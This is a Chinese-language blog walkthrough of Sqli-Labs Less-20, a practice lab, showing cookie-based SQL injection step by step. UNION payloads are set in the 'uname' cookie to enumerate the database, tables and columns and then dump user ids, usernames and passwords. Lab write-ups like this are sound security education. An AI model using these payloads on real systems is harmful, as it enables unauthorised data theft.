Sqli-Labs：Less20

基于错误_POST_Cookie注入

这就是Page1的最后一关了，想想几天前还对Sqli一知半解，现在终于算得上入了门了。

0x01. 判断注入点

首先在页面正常登陆，登陆成功是这样的：

• 回显有User-Agent、IP这样从当次Request直接获取的，
• 也有Cookie这样刷新页面后仍存在的，
• 还有登录用户的id、username、password。
• 最下方是删除Cookie的按钮，点击后刷新到初始界面。

使用Chrome插件Edit This Cookie查看存储的Cookie信息：

可以看到只存储了uname这一个字段的信息，且是明文存储。
修改Cookie后刷新界面：

便可以得知整个后台流程：

1. 登陆后将uname写入Cookie。
2. 在每次Request (GET / POST)页面时后台判断Cookie是否存在，若不存在则为登录界面；若存在则读取Cookie中字段uname。
3. 在数据库中按username查询，若用户存在则将查询到用户id、username、password回显；若不存在…

可以判断出注入点就在Cookie处，但是这里注入有两种途径：

1. 用Chrome插件EditThisCookie修改本地Cookie文件注入。
2. 用Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入，这种方式不会修改本地的Cookie文件。

接下来将重点演示第一种途径的注入。

0x02. 注入过程

我们得出后台根据Cookie中的uname查询用户的所有信息，即这是个SELECT语句，我们可以使用最简单的UNION注入。

步骤1：判断字符型 / 数字型注入

uname = admin'

步骤2：判断字段数与回显字段

uname = admin' order by 4#

uname = 1' union select 1,2,3#

实际上这个页面太清晰了，不用判断字段都能猜出来。
得出SQL语句：

SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1

步骤3：数据库名security

uname = 1' union select 1,2,database()#

步骤4：表名users

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

步骤5：字段名id、username、password

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

步骤6：数据

1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

同样地，我们使用Burp：

0x03. 吐槽

很久没见到这么简单的注入方式了。
从搭 Wamp 环境到结束 Page 1，已经过去两周了，如果你是从第一篇一直做到这里，那么恭喜你，你已经对SQLI有了基本的认识。
接下来就是 Page 2 的关卡，有更高阶的技巧和过滤，但跟着我做，想必是很简单的【笑。